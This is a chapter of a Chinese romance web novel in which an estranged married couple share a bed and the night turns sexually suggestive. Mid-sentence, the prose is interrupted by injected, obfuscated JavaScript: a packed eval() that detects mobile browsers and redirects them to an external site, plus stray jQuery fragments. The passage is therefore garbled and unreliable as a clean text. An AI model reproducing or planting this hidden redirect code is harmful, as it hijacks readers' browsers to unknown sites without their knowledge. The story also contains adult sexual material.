19. 自助

作品:《易撩

    方随意对时淮楚的动机,很是怀疑。


    对于时淮楚到底藏了什么私心,她倒没想那么多,她觉得他最大的可能还在因为分手的事,跟她过不去。


    事情都过去这么多天了,她倒没纠结着这事不放,等时淮楚走了后,又看了看自己刚才的剧本。


    可惜了,其实她还挺想尝试尝试这种类型剧本的。


    方随意觉得自己因为时淮楚一句话弃了一部剧的配音有些亏,在书房待了会儿,回到主卧后,她忍不住问:“放弃刚那部剧,有补偿吗?”


    她这话其实纯属随口一说,以她和时淮楚目前的关系,她并不觉得时淮楚会把她的话听进去。


    果然,时淮楚听到她的话,脸庞抬了起来。


    视线以极其缓慢的速度扫过她的眉眼,在方随意以为他会开口讽刺她时,他却道:“无尽有款仙侠风手游近期会上市,里面女主的配音给你。”


    仙侠风,在时淮楚看来,是方随意声线的又一个舒适区,声音本就空灵缥缈,自带仙气,配仙侠剧或者仙侠游戏的角色,配音界目前应该没有哪个配音演员的声音比她更合适。


    方随意显然没料到他会这么大方,在他的话后反倒愣了下。


    反应过来他说了什么,她怕他一觉醒来后反悔,立马问:“合同什么时候签,游戏其他角色能给到时光其他配音演员吗?合作习惯了,配合起来方便。”


    时淮楚背对着她站在落地窗前,眼角余光往她的方向睨了一眼,他轻轻扯了扯唇角。


    她倒是挺会得寸进尺。


    “可以,明天我让小陈把合同送到时光。”丢下一句话,解开衬衣的纽扣,他进了浴室。


    方随意松了口气,她早前已经洗过澡了,时淮楚洗澡的功夫,她先上了床。


    她和时淮楚结婚已经快四个月,时淮楚回来住的这段时间,两人很默契地一直一人占据床的一边,井水不犯河水。


    虽然说每天第二天早晨醒来都会发生意外,方随意把这视为了不可控因素。


    今晚她还是和往常一样,上床后就睡到床的最里端,和时淮楚隔了一张床两米宽的距离。


    时淮楚在浴室待了会儿,走出来后关掉卧室的主灯,只留了两盏壁灯,才上了床。


    方随意背对着他,本准备就这么睡,时淮楚的声音忽然由后传来:“方随意,你冷吗?”


    方随意一怔,刚开始没听懂他的话。


    初春,外面的雨还在下,两人又住在郊区,今夜温度比平时低几度,平时的被子有些盖不住,她确实有点冷,但却没说出来。


    “免费暖炉要不要?”身后男人的声音再次传来,时淮楚的身体似乎往她的方向靠了靠。


    方随意背脊一僵,本能想往床里端缩,却发现自己无处可避。


    时淮楚自然而然摊开一条手臂,从她腰下穿过,将她往怀里一带,将她整个人拥了住。


    他的胸膛滚-烫,热意从他胸腔袭来,透过方随意薄薄的皮肤融进她的血管,方随意后背贴着他的那一片,像是点燃了一簇火焰。


    这样的睡姿,像极了两人过去交往那会儿。


    “时淮楚……”方随意有些不自在,张了张嘴,想说点什么,却又不知道该说什么。


    以前两人在一起的时候,这么睡在一起叫生理吸引。


    现在两人分手了,可却领证了,所有的接触都是天经地义。


    “以后就这么睡。”时淮楚搂着她,已经闭上了眼。


    也不知是真睡着还是伪装出来的,很快均匀的呼吸声便浅浅响起。


    方随意却有些睡不着,这样的他和她,让她恍惚想起了两人的以前。


    以前在民宿那会儿,他和她也是这么躺一张床上的。


    身后躺着个时淮楚这样极品的男人,让她清心寡欲什么都不想,也很难。


    她睡觉还没法一直保持着一个姿势,久了哪儿都不舒服,身体稍稍动了动,她试探着转过身,将身体正对向时淮楚。


    男人依旧闭着眼睛,似乎真睡着的样子,并没有被她吵醒。


    方随意是靠他怀里的,这样的距离,她的手脚一时不知道该往哪儿放。


    抬起来想放在时淮楚胸口,可触碰到他领口敞开的肌肤,她又觉得哪儿不对,立马收了回来。


    想往下放,却似乎碰到不该碰的地方,方随意手心像是被烫着了似地,立马缩了回来。


    无处安放的手藏到身后,她像是做了坏事的小孩,小心翼翼瞥了他腰腹处一眼。


    两人身体紧贴着的,她可以明显感受到男人在她碰触后,几乎立马昂首挺立的某一处。


    时淮楚呼吸声慢慢停了下来,方随意心里咯噔一跳,抬眼,目光在黑暗中和他撞个正着。


    男人黑眸幽沉,定定地在盯着她看。


    方随意视线和他对上,心扑通扑通跳得很快。


    “我不是故意的。”怕他误会,她解释。


    时淮楚没说话,只是沉眸打量着她,眼里的情绪,方随意看不清,却能感受到空气陡然升高的温度。


    “方随意。”时淮楚忽然低低唤了声她的名字。


    方随意眨巴着眼睛看他,等着他接下来的话。


    两人交往过整整四年,不是没碰到过这样的时候,以前每次碰上这种时候,时淮楚都不会委屈自己。


    虽说他和她还没做过最后一步,但也一定会通过别的方式让她帮他解决。


    一想到这儿,方随意手心开始发烫,更不自在了。


    现在的她和他已经分手,她和他分开的这三年,她不知道他有没有过别的女人,再次遇上这样的情况,她不确定他会不会用以前的方式处理。


    时淮楚眸光沉沉地看着她,两人都穿的睡衣,衣裳单薄,贴得又紧,方随意可以明显感受到他滋味并不好受。


    时淮楚盯着她看了好一会儿,掌心落在她手腕,牵引着她的手臂搭在了自己腰上。


    方随意任由着他的动作,手臂有些僵硬。


    窗外雨声还在啪嗒啪嗒,一股带着湿意的风从窗外吹入,稍稍缓解了房间空气的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132176|196101||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    闷热。


    屋子里光线太黑,方随意看不清时淮楚的眼神,却能感觉到他一直在盯着自己看。


    他在观察她的反应。


    时淮楚的手将她的手握住,牵引着她的手掀起他衣摆,还在一寸寸往下移动,方随意指尖触碰到他肌肤的那一片,烫得跟着了火似地。


    “时淮楚,你不要这样。”方随意感觉自己的嗓子有些干,嗓音都变哑了。


    “怎样?”时淮楚慢条斯理问她。


    “你再这样,我会忍不住……”她后面其实还有话没说话,却被时淮楚打断。


    “那就不要忍!”时淮楚掌心托住她腰窝,将她往怀里一带,忽地翻了个身将她压在身下,俯下脸庞,在黑暗中精准捕捉到她的唇就吻了上去。


    或许是两人已经走出学校的关系,他这一次的吻,比以往交往那会儿,哪一次都来得猛烈。


    暴风骤雨似地席卷着她,攫取着她的气息,方随意被他吻得昏头转向,一时有些不知今夕何夕。


    恍恍惚惚间,两人过去的无数个画面,涌现在脑海。


    她想起了除夕夜的海边,两人刚确定关系时,那个整整吻了一夜的吻,想起了有次学校圣诞晚宴,外面都是同学,他和她在楼道拐角处偷偷亲吻时鼓噪的心跳,想起了民宿无数次背对着外婆做的那些事。


    也想起了她和他说分手那夜,他红着双眼,将她按压在墙角,想要从她的反应里找到喜欢他的证据时,凶狠得几乎快吃了她的那个吻。


    想着想着,方随意心里变得酸酸涨涨的。


    抬起手想要将身上的男人搂住,可忽然又想起了那些关于他的报道,方随意已经伸到半空的手,又收了住。


    “时淮楚,男人要有男德。”她提醒他。


    时淮楚这会儿身上哪儿都燥得慌,正难受着,她的话对他而言简直莫名其妙。


    “我亲自己老婆,怎么就没有男德了?”


    他说得两人的婚姻,仿佛真是那么回事,一声“老婆”说得自然而然。


    他是真没听懂方随意的话,方随意却以为他在装傻,没和他扭着这问题不放,她给自己找了个借口:“时淮楚,我很困。”


    她在提醒他时候不早了,该睡了。


    哪知时淮楚却接了句:“那你睡你的,我自助也不是不行。”


    方随意被他哽了下,忽然就想起了自己之前看过的一本小言。


    自助这词她还是在那本书里学到的,当时是书里的女主半夜睡着后无意间挑起了男主的火,男主在没吵醒女主的情况下,自给自足了一整夜。


    第二天提起这事,男主管这叫吃自助餐。


    方随意觉得车速开得太快,一把将时淮楚推开,她没理他,背转过了身:“我觉浅,容易醒。”


    她显然没打算帮他的意思,时淮楚看了眼被子都没能遮住的某一处,无奈起身去了浴室。


    走了两步,没想通都已经结婚,他为什么要委屈自己,又走回来,一把将床上的方随意抱起来,带着她一起去了浴室。